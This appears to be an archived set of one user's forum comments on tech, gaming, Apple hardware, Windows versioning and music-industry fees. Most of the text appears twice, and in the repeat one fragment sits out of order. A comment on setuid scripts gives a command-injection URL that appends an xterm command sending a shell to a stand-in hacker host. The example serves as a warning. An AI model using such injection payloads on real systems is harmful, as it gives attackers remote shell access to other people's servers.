It's not about the chip, it's about Intel dumping huge amounts of marketing dollars into companies that use their products.
I believe that means Apple would need to brand their products with Intel inside stickers, logos, etc., but the marketing money may be worth it to them. AMD doesn't dump large amounts of cash into co-marketing, so they would be less desirable.
not quite true - the MPAA didn't have a problem with playback of videos, they fought the ability to record video (and TV).
And as far as recording goes, the MPAA and RIAA can go themselves, because they charge a fee for blank CD/DVD media to recoup some of the cost of piracy. That means that people like me that don't pirate anything are paying the RIAA and MPAA to recoup lost costs (and bittorrent doesn't pay them a cent, which is the only they care). I doubt a cent of the money for blanks ever gets to the artists - the reason the fee exists - more likely it fattens the wallets of recording industry execs pockets. Actually, I can tell you from experience that recording industry execs will screw you in every way possible and take money for themselves, but I don't know the motion picture industry at all.
I thought both were a pain to set up, to be honest, especially for dual boot on a RAID mirror array of SATA drives, which required me insert diskettes during the Windows XP install and noticing a less-than-half-second message to press F2 during the boot to install the driver. It was even more of a pain when MS insisted on installing on the single IDE drive requiring me to physically unplug it before installing Windows and then reconnect it later (and it once installed to the IDE drive even after I selected the SATA array). Linux required that I have extensive knowledge of the partitions since I wanted it to primarily run from a separate set of drives on the array and I'm guessing most users would be baffled by the cryptic linux names like/dev/hd1 or/dev/sd1.
Most of the problems I have with install on PCs are really BIOS's fault; it's SOOOO much easier to set up hardware on a mac (Open Firmware is worlds better in this regard). I personally can't wait for BIOS to go away for a better system, but I'm afraid of Microsoft's heavy hand in forcing security in it. My biggest grudge against BIOS is stuff like having to keep a PS/2 mouse and keyboard (or conversion FOB) around just for that first motherboard boot, since everyone seems to ship boards with USB keyboard and mice turned off by default (auto-detect... I want auto-detect). OTOH, I wanted to set up my WD drive into a RAID array on my mac and it won't boot if that drive is included in the RAID array (-1 point to WD and mac). The deskstar replacement drives have no problems. I currently have the WD drive as a non-RAID array disk and it's fine.
dedicated game servers, probably with guaranteed uptime and network performance, so you don't have one person hosting and rely on what may be a laggy connection.
VoIP built in - this allows you to chat with your team rather than typing and is popular among hardcore gamers. I've known people that swear by TeamSpeak...
There are often other benefits, like downloads of patches with no waiting.
I can both agree and disagree with Dvorak (as always), but this has been a problem in the gaming industry since the very early years. Defender was very popular and spawned a sequel and many clones (though its roots could be traced to lunar lander). Space Invaders was copied into a genre of its own. Karate Champ spawned the one on one fighting genre that still persists today - but you had innovations like character variants (Street Fighter) and 3d environments (Virtua Fighter). Genres die - even industries die (look at the console crash of 83) - when stagnant too long. How many times has the Adventure Genre died and been brought back to life? Text to Graphical (3rd and first person) to Myst-interface graphical to action adventure (even hybrid-RPG)...
The problem is, innovative games are hit and miss prospects. The Sims was obviously a hit. Neverwinter Nights was a hit despite Aurora failing to live up to its promises of quickly created D&D settings (and probably only succeeded because of the D&D name - the first campaign stank, IMO). For every one of those, though, you have a System Shock, Thief, or Codename Eagle - games that defined a significant change in the genre or a new genre but failed to catch on.
Karateka - not only a great early fighting game (by the guy that would go on to make Prince of Persia, Jordan Meshner), but the first game (at least that I remember) with a cinematic feel - flashing to the villain as he sends the next wave of minions at you and to your imprisoned love. Everything was done with gestures and music - no words.
speaking of pre-orders, according to the FAQ, the game goes online at 12:01PM Pacific time on Wednesday, April 27th. All pre-orders can play for 48 hours before requiring a full game key.
My biggest problem with the game was the camera auto-panning to face the character (which really sucks when you die and want to turn the camera around so you can find a safe place to run when resurrected). This apparently has a preference now, but I've only had about 4 hours to play total in the last two betas due to a vacation and family obligation. The interface has undergone massive improvements in the last 2 betas, so if you only played earlier betas (which I can see the parent has not, but other readers might have), it's quite a bit different. I didn't notice as many clipping artifacts and as much LOD popping in the last beta, either, nor did I manage to walk up to my head in solid rock like I managed to do in the last few beta.
Invisible walls of doom don't bother me that much, at least not for this game. There are lots of cliffs, and falling off them and dying sucks.
I think the kicker is the civil liability, though - "Violators can also be held civilly liable for actual damages, lost profits, or statutory damages up to $150,000 per infringement, as well as attorney's fees and costs."
I know people at work that share their 400+ album CD collections (ripped to mp3) for coworkers to listen to on the honor system that you won't steal them - since you could steal them and people probably do, the RIAA could push for $60 million (+250000) in liability on those people if they could justify it.
correction - perl doesn't allow running setuid or setgid when running as root (what most people use it for, anyway). You can setuid and setgid as other users, though only setgid is really useful, as far as I can tell.
not being able to run setuid or setgid as root means you can only hack the exploited user or group, not the entire OS.
First, this is about scripts, not setuid - if it removed setuid or setgid you wouldn't be able to sudo, since that is a setuid program.
Second, perl (a scripting language) has really led the way here - perl has not allowed for running of setuid and setgid in scripts for a long time.
Third, if you really need setuid and setgid to run your script, you can create a C wrapper for it. Yes, it's a pain, but it really emphasizes that you really know what you're doing. I remember seeing stuff like (fake URL) http://www.idioticmoron.org?command="runme.sh", which a smart hacker would see and convert to http://www.idioticmoron.org?command="runme.sh;env% 20DISPLAY=mycomputer.hacker.net:0.0%20xterm%20-sb% 20-sl10000" and have the cgi user's access (usually root) to your system with a convenient xterm (providing the machine is allowed as an xhost).
What is setuid and setgid? It runs the program as the owner (or group) of the program instead of the executor (the group ID is so the owner can run it with one set of permissions and the group a different set). In this way, you can have something like a counter that can be run by anyone but writes to a file that only that user can write to. To create such a file, you'd do something like chmod 4711 test.sh (setuid) or chmod 2711 test.sh (setgid). Since test.sh is a script (a shell script to be particular), this shouldn't be allowed now. A C program can call setuid and setgid internally, if it has permissions to (say, is running as root), so it can change the executor to the desired user or group and then run the script.
send Minnesotans - when I was a kid, I had a neighbor that sat outside on a lawn chair every morning reading the morning paper, even in 30 below weather (I can only presume his wife kept his pad too hot for him, but you never know). If you're thinking he was bundled up, you'd be wrong - he sat out there in boxers and an undershirt.
Build him a little habitrail and biodome and he'd be set.
yeah - and the smart MTV watchers will probably be camping out for Revenge of the Sith tickets (instead of preordering by phone or online)... the dumb ones will try to run XBox 2 carts for their Playstations and wonder why they're all defective.
The sad part is, after working computer tech support, I'm at least semi-serious - there are people that dumb...
Actually, the seal thing is why some smaller sharks attack surfers by accident (like black and white tipped reef sharks). These sharks never attack divers unless provoked (at least that I know of), but do account for many bite and flee attacks. And from watching film of it, a surfboard and a seal from 10' underwater do look an awful lot alike. A previous post mentioned poor vision, which is wrong - read this about shark vision. They do cover their eyes when they bite, so don't really know exactly what part of an object they're biting, but the bite testing isn't because they don't see well.
Great White, Tiger, Bull, and oceanic whitetipped shark probably wouldn't stop eating a person. Hammerheads, Gray tipped, and Galapagos sharks are also fairly dangerous to humans, as they are predators of larger prey.
That's right, NT versioning followed or was similar to Windows 3.1 originally - I forgot all about it because I barely used it. I never saw/heard of NT 3.1, but used 3.5.1 briefly on Alpha and Intel boxes.
In any case, it really shoulda been named 4.0 or 1.0 from the onset, depending on the convention they wanted to use. MacOS should be at 8, for that matter, as 8 and 9 were really point releases with version inflation. The APIs between NT and 9x are not 100% backward or forward compatible - you can write Windows 9x stuff that won't run on NT and NT stuff that won't run on 9x (both have kernel specific, mostly deprecated APIs), so it warrants a new version, not a point rev.
yep - you can count on some slashdot nerd to correct your versioning:
technically, it'd be 4.y.z
Windows 4.0 was the internal name for NT and actually was the version reported by Windows itself. XP is derived from the kernel and source of NT and is not backwards compatible to Windows 3.x. Windows 95/98/ME technically should have been Windows 4.0, since they broke backwards compatibility with 3.1, but since NT came first and took the version (at least internally) they went with a new naming scheme. The only reason Windows 95/98/ME and 2000/XP interoperate is because they use the same APIs. Underneath, they run completely different (this is also why WINE can run Windows apps without emulation on Linux).
Incidentally, the internal version of 2000 is 5.0, so they broke the versioning scheme with that release, as well. If I recall correctly, XP and 2003 are also 5.0 internally (go to Control Panel->System if you're really inclined to find out).
The rumors about a month ago were for an April 1 announcement and in stores by the 15 (the announcement wouldn't surprise me, but in stores would). April 1 is Apple's 29th birthday. It also wouldn't surprise me if Apple sent that rumor out as an April fools prank. A ship date Amazon leaked said March 31 in stores, but I think that is out of the question now.
Raton is actually mouse in Spanish - it's one of the maybe 150 words I know in that language. Rat is just rat:)
Speaking of Raton, Boca Raton, FLA is literally "mouse mouth" (reversing the words to work in English) but I've been told it means a mouse hole (and actually refers to a small cove ships used for shelter).
I personally like a couple of northern Minnesota cities - Castle Danger and Embarrass.
no, D&D only caused mass suicides in the 1980s - murders by goth cults didn't happen until the 1990s.
Heavy metal has been the primary source of murder since the 1970s - we all know that Lemmy of Motorhead himself kills 100-200 every concert and his roadies work in conjuction with the CIA and Jimmy Hoffa to cover it up by donating all the spilt blood and bodies to GWAR. Violent video games are the source of all murder, especially if they have a metal soundtrack - like that Prince of Persia, Warrior Within game. GTA isn't the only cause of theft - you can't forget games like Thief, a game that also promotes diabolism. GTA is pure evil, as your main character fornicates with unchaste women and then shoots, and even depicts pre-marital sex, a horrific act that constitutes stiff $5 fines and/or 90 days in jail in some states with powerful and moral blue laws. Its also a well known fact that Osama bin Laden has an underground bunker where his minions play video games and D&D and listen to a mix of heavy metal and country music to harden them to their homicidal and suicidal cause.
--
there are probably nutbags out there that take me seriously...
I don't think the name is a big deal - Fiorina (or whatever it was) is a far cry from something like Chia Pet (yeah, that's a ref to Gibson's Idoru).
Anyhow, Evercrack just replaced the Peyote and LSD of the 60s for names - drugs that most likely gave birth to names like Aphrodite or Buffalo Zeus (actual names of a girl I knew in college and her brother), Moon Unit and Dweezil Zappa, and many others. Christ, I still can't even say Buffalo Zeus without laughing, and I have nothing against him - the name just gives me the wrong mental picture.
I never played that combo, but I don't think it's as powerful as it was. I do know it's an elite skill (only can have one elite), works over 10 seconds, and has a 25 second recharge time. I saw a Ranger/Mesmer beat a couple of Warrior/Monks using hit and run tactics (fast run and slow arrows, then mesmer health burns of some kind), but I don't know exactly what the Wa/Mo's were doing or all the skills they had. Since the Wa/Mo's were on my side, that was a bad thing (I was a Mo/Me and was taken out early and never res'd), so I spent a good 1/2 hour watching. The latest tactic I've heard of is using speed on Rangers to skip combat altogther in PvP (I think I saw that in photics).
I saw a lot more Warrior/Necromancers last time around, as there was some tactic with that combo that worked well (barbs and something, I think).
actually, I did know it was supposed to be used with the fingertips, but didn't feel it was designed right for that - the puck is too heavy and has too little surface area for the pinky (especially skinny long ones like mine) to grip. It also was, according to Apple docs, supposed to fit any hand, and I felt it was awkward for that, even when used "properly." Using a wrist rest actually made my hand want to drape more - for proper handling/control, you need to curve your fingers over the device (having played piano, I'm familiar with how you're supposed to hold your hands, ergonomically, and it's like that) and keep a straight wrist, meaning the pad needs to be about two inches (5cm) above the mouse for me to use one. Most pads I've used are about 3/4 of an inch, or about the right height for draping the hand. This may not really be a flaw in mouse design as much as pad design.
Oh, and for the record, I took several UI classes as well as several mechanical engineering ergonomics classes (since specializing in UI was relatively new at the time), so I DO understand hardware problems, and probably better than software UI problems. I still have this book and every time I see a poorly designed shower or door I think about re-reading it (and have a couple of times).
Yes, the Carbon and Cocoa event models support three buttons and a scroll wheel, but unless I'm completely deluded, I believe ctrl-mouse actually generates a right mouse event (as well as a control modifier event and a generic button down event). The old event model would see and use control and generic button for "right click" while the new event model just sees right click. This difference is important in event handlers - the new handler looks for kEventMouseButtonSecondary for right mouse, while the old event model looked for control and mouse button (it boiled down to having to handle all events in a single function in the old model and being able to break them up into mouse, keyboard, window, etc. using the new model). Unless Apple invents a word, however, I don't think we'll ever see more than 3 button event handler support, since there is no 'fourth' item after primary, secondary, and tertiary:)
I had a huge problem with the "no button" mouse from a UI standpoint - it's like putting a door in a house but designing it to look exactly like a wall. Apple argues that 1 button mice are easier for new users, I argue that no button mice are confusing to new users since the rocking motion doesn't give you the tactile or visual cues of a button (damn, I sound like a usability/ergonomics engineer - guess those UI classes paid off). The hockey puck was another peeve, though I had no problem with up and down since my hand tended to drape onto the cord when my palm rested on the mouse itself - it was built for a child's hand and was awkward for a large handed adult. The half-sized keys on the keyboard weren't as big of deal for me (since I also have skinny musician fingertips). I've always thought Apple should give an option of what type of mouse the user wants, including number of buttons, but I think they feared that offering a two button mouse would have new users ordering them just because "two is better than one."
I'd agree with you, but Apple IS pushing autovectorization (whether the others are, as well, I don't know). Tiger is supposed to ship with auto-vectorization on (see XCode 2 section), although everything I've read so far says it requires a compiler flag (something like -GCC_AUTO_VECTORIZATION). Since Tiger is shipping with 4.0 and not 4.1, they appear to be wanting to get this in use a point release before gcc does.
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It's not about the chip, it's about Intel dumping huge amounts of marketing dollars into companies that use their products.
I believe that means Apple would need to brand their products with Intel inside stickers, logos, etc., but the marketing money may be worth it to them. AMD doesn't dump large amounts of cash into co-marketing, so they would be less desirable.
not quite true - the MPAA didn't have a problem with playback of videos, they fought the ability to record video (and TV).
And as far as recording goes, the MPAA and RIAA can go themselves, because they charge a fee for blank CD/DVD media to recoup some of the cost of piracy. That means that people like me that don't pirate anything are paying the RIAA and MPAA to recoup lost costs (and bittorrent doesn't pay them a cent, which is the only they care). I doubt a cent of the money for blanks ever gets to the artists - the reason the fee exists - more likely it fattens the wallets of recording industry execs pockets. Actually, I can tell you from experience that recording industry execs will screw you in every way possible and take money for themselves, but I don't know the motion picture industry at all.
I thought both were a pain to set up, to be honest, especially for dual boot on a RAID mirror array of SATA drives, which required me insert diskettes during the Windows XP install and noticing a less-than-half-second message to press F2 during the boot to install the driver. It was even more of a pain when MS insisted on installing on the single IDE drive requiring me to physically unplug it before installing Windows and then reconnect it later (and it once installed to the IDE drive even after I selected the SATA array). Linux required that I have extensive knowledge of the partitions since I wanted it to primarily run from a separate set of drives on the array and I'm guessing most users would be baffled by the cryptic linux names like /dev/hd1 or /dev/sd1.
Most of the problems I have with install on PCs are really BIOS's fault; it's SOOOO much easier to set up hardware on a mac (Open Firmware is worlds better in this regard). I personally can't wait for BIOS to go away for a better system, but I'm afraid of Microsoft's heavy hand in forcing security in it. My biggest grudge against BIOS is stuff like having to keep a PS/2 mouse and keyboard (or conversion FOB) around just for that first motherboard boot, since everyone seems to ship boards with USB keyboard and mice turned off by default (auto-detect... I want auto-detect). OTOH, I wanted to set up my WD drive into a RAID array on my mac and it won't boot if that drive is included in the RAID array (-1 point to WD and mac). The deskstar replacement drives have no problems. I currently have the WD drive as a non-RAID array disk and it's fine.
exactly what I was thinking!
It'd be much better to trade, say, 6 chickens for a virtual goat. I mean, you certainly can't eat a gold brick, so it's really not of much use, is it?
A few factors that I know of -
dedicated game servers, probably with guaranteed uptime and network performance, so you don't have one person hosting and rely on what may be a laggy connection.
VoIP built in - this allows you to chat with your team rather than typing and is popular among hardcore gamers. I've known people that swear by TeamSpeak...
There are often other benefits, like downloads of patches with no waiting.
I can both agree and disagree with Dvorak (as always), but this has been a problem in the gaming industry since the very early years. Defender was very popular and spawned a sequel and many clones (though its roots could be traced to lunar lander). Space Invaders was copied into a genre of its own. Karate Champ spawned the one on one fighting genre that still persists today - but you had innovations like character variants (Street Fighter) and 3d environments (Virtua Fighter). Genres die - even industries die (look at the console crash of 83) - when stagnant too long. How many times has the Adventure Genre died and been brought back to life? Text to Graphical (3rd and first person) to Myst-interface graphical to action adventure (even hybrid-RPG)...
The problem is, innovative games are hit and miss prospects. The Sims was obviously a hit. Neverwinter Nights was a hit despite Aurora failing to live up to its promises of quickly created D&D settings (and probably only succeeded because of the D&D name - the first campaign stank, IMO). For every one of those, though, you have a System Shock, Thief, or Codename Eagle - games that defined a significant change in the genre or a new genre but failed to catch on.
Karateka - not only a great early fighting game (by the guy that would go on to make Prince of Persia, Jordan Meshner), but the first game (at least that I remember) with a cinematic feel - flashing to the villain as he sends the next wave of minions at you and to your imprisoned love. Everything was done with gestures and music - no words.
speaking of pre-orders, according to the FAQ, the game goes online at 12:01PM Pacific time on Wednesday, April 27th. All pre-orders can play for 48 hours before requiring a full game key.
My biggest problem with the game was the camera auto-panning to face the character (which really sucks when you die and want to turn the camera around so you can find a safe place to run when resurrected). This apparently has a preference now, but I've only had about 4 hours to play total in the last two betas due to a vacation and family obligation. The interface has undergone massive improvements in the last 2 betas, so if you only played earlier betas (which I can see the parent has not, but other readers might have), it's quite a bit different. I didn't notice as many clipping artifacts and as much LOD popping in the last beta, either, nor did I manage to walk up to my head in solid rock like I managed to do in the last few beta.
Invisible walls of doom don't bother me that much, at least not for this game. There are lots of cliffs, and falling off them and dying sucks.
well, at that's what the RIAA believes
I think the kicker is the civil liability, though -
"Violators can also be held civilly liable for actual damages, lost profits, or statutory damages up to $150,000 per infringement, as well as attorney's fees and costs."
I know people at work that share their 400+ album CD collections (ripped to mp3) for coworkers to listen to on the honor system that you won't steal them - since you could steal them and people probably do, the RIAA could push for $60 million (+250000) in liability on those people if they could justify it.
correction - perl doesn't allow running setuid or setgid when running as root (what most people use it for, anyway). You can setuid and setgid as other users, though only setgid is really useful, as far as I can tell.
not being able to run setuid or setgid as root means you can only hack the exploited user or group, not the entire OS.
First, this is about scripts, not setuid - if it removed setuid or setgid you wouldn't be able to sudo, since that is a setuid program.
% 20DISPLAY=mycomputer.hacker.net:0.0%20xterm%20-sb% 20-sl10000" and have the cgi user's access (usually root) to your system with a convenient xterm (providing the machine is allowed as an xhost).
Second, perl (a scripting language) has really led the way here - perl has not allowed for running of setuid and setgid in scripts for a long time.
Third, if you really need setuid and setgid to run your script, you can create a C wrapper for it. Yes, it's a pain, but it really emphasizes that you really know what you're doing. I remember seeing stuff like (fake URL) http://www.idioticmoron.org?command="runme.sh", which a smart hacker would see and convert to http://www.idioticmoron.org?command="runme.sh;env
What is setuid and setgid? It runs the program as the owner (or group) of the program instead of the executor (the group ID is so the owner can run it with one set of permissions and the group a different set). In this way, you can have something like a counter that can be run by anyone but writes to a file that only that user can write to. To create such a file, you'd do something like chmod 4711 test.sh (setuid) or chmod 2711 test.sh (setgid). Since test.sh is a script (a shell script to be particular), this shouldn't be allowed now. A C program can call setuid and setgid internally, if it has permissions to (say, is running as root), so it can change the executor to the desired user or group and then run the script.
send Minnesotans - when I was a kid, I had a neighbor that sat outside on a lawn chair every morning reading the morning paper, even in 30 below weather (I can only presume his wife kept his pad too hot for him, but you never know). If you're thinking he was bundled up, you'd be wrong - he sat out there in boxers and an undershirt.
Build him a little habitrail and biodome and he'd be set.
bleah - GUI - why would you buy a mac if you didn't want to use the terminal?
:)
sudo killall -HUP Finder
jk
yeah - and the smart MTV watchers will probably be camping out for Revenge of the Sith tickets (instead of preordering by phone or online)... the dumb ones will try to run XBox 2 carts for their Playstations and wonder why they're all defective.
The sad part is, after working computer tech support, I'm at least semi-serious - there are people that dumb...
Actually, the seal thing is why some smaller sharks attack surfers by accident (like black and white tipped reef sharks). These sharks never attack divers unless provoked (at least that I know of), but do account for many bite and flee attacks. And from watching film of it, a surfboard and a seal from 10' underwater do look an awful lot alike. A previous post mentioned poor vision, which is wrong - read this about shark vision. They do cover their eyes when they bite, so don't really know exactly what part of an object they're biting, but the bite testing isn't because they don't see well.
Great White, Tiger, Bull, and oceanic whitetipped shark probably wouldn't stop eating a person. Hammerheads, Gray tipped, and Galapagos sharks are also fairly dangerous to humans, as they are predators of larger prey.
That's right, NT versioning followed or was similar to Windows 3.1 originally - I forgot all about it because I barely used it. I never saw/heard of NT 3.1, but used 3.5.1 briefly on Alpha and Intel boxes.
In any case, it really shoulda been named 4.0 or 1.0 from the onset, depending on the convention they wanted to use. MacOS should be at 8, for that matter, as 8 and 9 were really point releases with version inflation. The APIs between NT and 9x are not 100% backward or forward compatible - you can write Windows 9x stuff that won't run on NT and NT stuff that won't run on 9x (both have kernel specific, mostly deprecated APIs), so it warrants a new version, not a point rev.
yep - you can count on some slashdot nerd to correct your versioning:
technically, it'd be 4.y.z
Windows 4.0 was the internal name for NT and actually was the version reported by Windows itself. XP is derived from the kernel and source of NT and is not backwards compatible to Windows 3.x. Windows 95/98/ME technically should have been Windows 4.0, since they broke backwards compatibility with 3.1, but since NT came first and took the version (at least internally) they went with a new naming scheme. The only reason Windows 95/98/ME and 2000/XP interoperate is because they use the same APIs. Underneath, they run completely different (this is also why WINE can run Windows apps without emulation on Linux).
Incidentally, the internal version of 2000 is 5.0, so they broke the versioning scheme with that release, as well. If I recall correctly, XP and 2003 are also 5.0 internally (go to Control Panel->System if you're really inclined to find out).
well, it is $129, but after rebate for preorders from Amazon, only $94.
The rumors about a month ago were for an April 1 announcement and in stores by the 15 (the announcement wouldn't surprise me, but in stores would). April 1 is Apple's 29th birthday. It also wouldn't surprise me if Apple sent that rumor out as an April fools prank. A ship date Amazon leaked said March 31 in stores, but I think that is out of the question now.
Raton is actually mouse in Spanish - it's one of the maybe 150 words I know in that language. Rat is just rat :)
Speaking of Raton, Boca Raton, FLA is literally "mouse mouth" (reversing the words to work in English) but I've been told it means a mouse hole (and actually refers to a small cove ships used for shelter).
I personally like a couple of northern Minnesota cities - Castle Danger and Embarrass.
no, D&D only caused mass suicides in the 1980s - murders by goth cults didn't happen until the 1990s.
Heavy metal has been the primary source of murder since the 1970s - we all know that Lemmy of Motorhead himself kills 100-200 every concert and his roadies work in conjuction with the CIA and Jimmy Hoffa to cover it up by donating all the spilt blood and bodies to GWAR. Violent video games are the source of all murder, especially if they have a metal soundtrack - like that Prince of Persia, Warrior Within game. GTA isn't the only cause of theft - you can't forget games like Thief, a game that also promotes diabolism. GTA is pure evil, as your main character fornicates with unchaste women and then shoots, and even depicts pre-marital sex, a horrific act that constitutes stiff $5 fines and/or 90 days in jail in some states with powerful and moral blue laws. Its also a well known fact that Osama bin Laden has an underground bunker where his minions play video games and D&D and listen to a mix of heavy metal and country music to harden them to their homicidal and suicidal cause.
--
there are probably nutbags out there that take me seriously...
I don't think the name is a big deal - Fiorina (or whatever it was) is a far cry from something like Chia Pet (yeah, that's a ref to Gibson's Idoru).
Anyhow, Evercrack just replaced the Peyote and LSD of the 60s for names - drugs that most likely gave birth to names like Aphrodite or Buffalo Zeus (actual names of a girl I knew in college and her brother), Moon Unit and Dweezil Zappa, and many others. Christ, I still can't even say Buffalo Zeus without laughing, and I have nothing against him - the name just gives me the wrong mental picture.
I never played that combo, but I don't think it's as powerful as it was. I do know it's an elite skill (only can have one elite), works over 10 seconds, and has a 25 second recharge time. I saw a Ranger/Mesmer beat a couple of Warrior/Monks using hit and run tactics (fast run and slow arrows, then mesmer health burns of some kind), but I don't know exactly what the Wa/Mo's were doing or all the skills they had. Since the Wa/Mo's were on my side, that was a bad thing (I was a Mo/Me and was taken out early and never res'd), so I spent a good 1/2 hour watching. The latest tactic I've heard of is using speed on Rangers to skip combat altogther in PvP (I think I saw that in photics).
I saw a lot more Warrior/Necromancers last time around, as there was some tactic with that combo that worked well (barbs and something, I think).
actually, I did know it was supposed to be used with the fingertips, but didn't feel it was designed right for that - the puck is too heavy and has too little surface area for the pinky (especially skinny long ones like mine) to grip. It also was, according to Apple docs, supposed to fit any hand, and I felt it was awkward for that, even when used "properly." Using a wrist rest actually made my hand want to drape more - for proper handling/control, you need to curve your fingers over the device (having played piano, I'm familiar with how you're supposed to hold your hands, ergonomically, and it's like that) and keep a straight wrist, meaning the pad needs to be about two inches (5cm) above the mouse for me to use one. Most pads I've used are about 3/4 of an inch, or about the right height for draping the hand. This may not really be a flaw in mouse design as much as pad design.
Oh, and for the record, I took several UI classes as well as several mechanical engineering ergonomics classes (since specializing in UI was relatively new at the time), so I DO understand hardware problems, and probably better than software UI problems. I still have this book and every time I see a poorly designed shower or door I think about re-reading it (and have a couple of times).
Yes, the Carbon and Cocoa event models support three buttons and a scroll wheel, but unless I'm completely deluded, I believe ctrl-mouse actually generates a right mouse event (as well as a control modifier event and a generic button down event). The old event model would see and use control and generic button for "right click" while the new event model just sees right click. This difference is important in event handlers - the new handler looks for kEventMouseButtonSecondary for right mouse, while the old event model looked for control and mouse button (it boiled down to having to handle all events in a single function in the old model and being able to break them up into mouse, keyboard, window, etc. using the new model). Unless Apple invents a word, however, I don't think we'll ever see more than 3 button event handler support, since there is no 'fourth' item after primary, secondary, and tertiary :)
I had a huge problem with the "no button" mouse from a UI standpoint - it's like putting a door in a house but designing it to look exactly like a wall. Apple argues that 1 button mice are easier for new users, I argue that no button mice are confusing to new users since the rocking motion doesn't give you the tactile or visual cues of a button (damn, I sound like a usability/ergonomics engineer - guess those UI classes paid off). The hockey puck was another peeve, though I had no problem with up and down since my hand tended to drape onto the cord when my palm rested on the mouse itself - it was built for a child's hand and was awkward for a large handed adult. The half-sized keys on the keyboard weren't as big of deal for me (since I also have skinny musician fingertips). I've always thought Apple should give an option of what type of mouse the user wants, including number of buttons, but I think they feared that offering a two button mouse would have new users ordering them just because "two is better than one."
I'd agree with you, but Apple IS pushing autovectorization (whether the others are, as well, I don't know). Tiger is supposed to ship with auto-vectorization on (see XCode 2 section), although everything I've read so far says it requires a compiler flag (something like -GCC_AUTO_VECTORIZATION). Since Tiger is shipping with 4.0 and not 4.1, they appear to be wanting to get this in use a point release before gcc does.